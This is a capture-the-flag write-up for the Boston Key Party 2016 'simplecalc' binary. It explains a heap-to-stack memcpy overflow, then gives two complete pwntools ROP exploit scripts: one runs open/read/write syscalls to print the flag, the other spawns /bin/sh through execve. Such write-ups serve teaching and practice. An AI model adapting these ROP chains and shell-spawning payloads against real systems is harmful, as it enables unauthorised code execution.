Simplecalc BKP CTF’16 Writeup

This was my first attempt at Boston Key Party CTF and I thoroughly enjoyed the challenges. Great job admins !

Now moving on the challenge. The given binary is a 64 bit binary with NX enabled and no other protections. There are other good writeups which solve the challenge by getting a shell on the system and then printing out the flag.

For some reason I just didn’t feel like it and decided to go with an open-read-write method to print out the flag via the binary. At the beginning of the program, it asks you to enter the number of calculations that you intend to perform. This value is then left shifted by two bits (which basically multiplies the value by 4).

This value is then used to malloc a chunk on the heap. The result of the operations we choose, ie add,sub,mul or divide which is a 4 byte value is then stored in this chunk. Which means for most gadgets we need to use a combination of add and then sub in order to make the higher 4 bytes 0.

When we finally choose a save, the whole chunk is then copied onto the stack resulting in corruption of a lot of values.

  • lea rax,[rbp-0x40]
  • mov rsi,rcx
  • mov rdi,rax
  • call 0x4228d0 <memcpy>

So as you can see, anything more than 64+8=72 bytes would overwrite the saved rip.
But its not the whole story. The next 3 lines should point that out.

  • mov rax,QWORD PTR [rbp-0x10]
  • mov rdi,rax
  • call 0x4156d0 <free>

Okay, so here is our problem. The chunk that was malloc’ed in the beginning gets freed. But during the process of  our overflow, we trash the value at $rbp-0x10 which results in a segfault.

Looking through the man page of free gives you the answer you’re looking for

The free() function frees the memory space pointed to by ptr, which must have been
returned by a previous call to malloc(), calloc() or realloc(). Otherwise, or if
free(ptr) has already been called before, undefined behavior occurs. If ptr is NULL, no
operation is performed.

There you go. Problem solved. So all that was left was to write up a python script that either popped a shell or printed out the flag to me. I followed the latter but had problems trying to open “flag” or “flag.txt”. I asked the admin and he also asked me to try popping a shell. But I was too lazy to start a new script. But he did also mention that the file’s name might also be key. Thanks crowell!

So, in concluding, my intention was to read 3 bytes onto a .bss segment (read syscall) which would be the string “key” and then use that address to open up the file using an open syscall. Then exchange the file descriptor and read from it onto the .bss segment. And finally print it out.

And voila!..flag..err…I mean..key XD.

  • from pwn import *
  • payload=”123\n”
  • payload+=(“2\n256\n257\n”)*12+”2\n3556840\n3556840\n2\n3556840\n3556840\n”+(“2\n256\n257\n”)*4 #junk
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret;
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0;
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdi=0
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rsi;pop rdx;ret;
  • payload+=”2\n2211155\n2211152\n2\n2211155\n2211155\n” #rdx=3
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret;
  • #write flag onto fixed place
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi ;ret
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rdi=0x6c0200
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret
  • payload+=(“2\n2211156\n2211156\n”)*4 #rdx=0,rsi=0
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256282\n2256280\n2\n2256282\n2256282\n” #rax=2
  • payload+=”1\n2211155\n2211156\n2\n2211155\n2211155\n” #syscall ;pop rdx;pop rsi;ret
  • #open syscall
  • payload+=”2\n2211155\n2211123\n2\n2211155\n2211155\n” #rdx=32
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2450696\n2450696\n2\n2450696\n2450696\n” #xchg eax,edi
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0
  • payload+=”1\n2211155\n2211156\n2\n2211155\n2211155\n” #syscall ;pop rdx;pop rsi;ret
  • #read syscall
  • payload+=”2\n2211155\n2211113\n2\n2211155\n2211155\n” #rdx=32
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556841\n3556840\n2\n3556840\n3556840\n” #rdi=1
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256281\n2256280\n2\n2256282\n2256282\n” #rax=1
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret
  • #write syscall
  • payload+=”5\n”+”key”
  • context.binary=”simplecalc”
  • p=remote(“simplecalc.bostonkey.party”,5400)
  • p.sendline(payload)
  • print p.recvall()

key:BKPCTF{what_is_2015_minus_7547}

______________________________________________________________________
//////////////////////////////////////////////////////////////////////
———————————————————————-

After the CTF was over, I decided to give the popping the shell a try. And well, here it is. All it does is read 7 bytes ("/bin/sh") onto a fixed location in the .bss segment and use that address in an execve syscall.

  • from pwn import *
  • payload=”123\n”
  • payload+=”2\n926200088\n926200088\n2\n3422615\n3422615\n”#/bin/sh
  • payload+=(“2\n256\n257\n”)*10+”2\n3556840\n3556840\n2\n3556840\n3556840\n”+(“2\n256\n257\n”)*4#junk
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret;
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0;
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdi=0
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret;
  • payload+=”2\n2211155\n2211148\n2\n2211155\n2211155\n” #rdx=7
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret;
  • #read /bin/sh to fixed place
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi ;ret
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #/bin/sh to rdi
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256282\n2256223\n2\n2256282\n2256282\n” #rax=59
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret;
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdx=0
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rsi=0
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret
  • #execve syscall
  • payload+=”5\n”+”/bin/sh”
  • p=remote(“simplecalc.bostonkey.party”,5400)
  • p.sendline(payload)
  • p.interactive()

I didn’t actually get to try out this script but I guess it should work. No reason not to.

Much smaller script right? Why didn’t I go with this one?(sigh)As long as the challenge is solved, I guess anything goes.

Happy hunting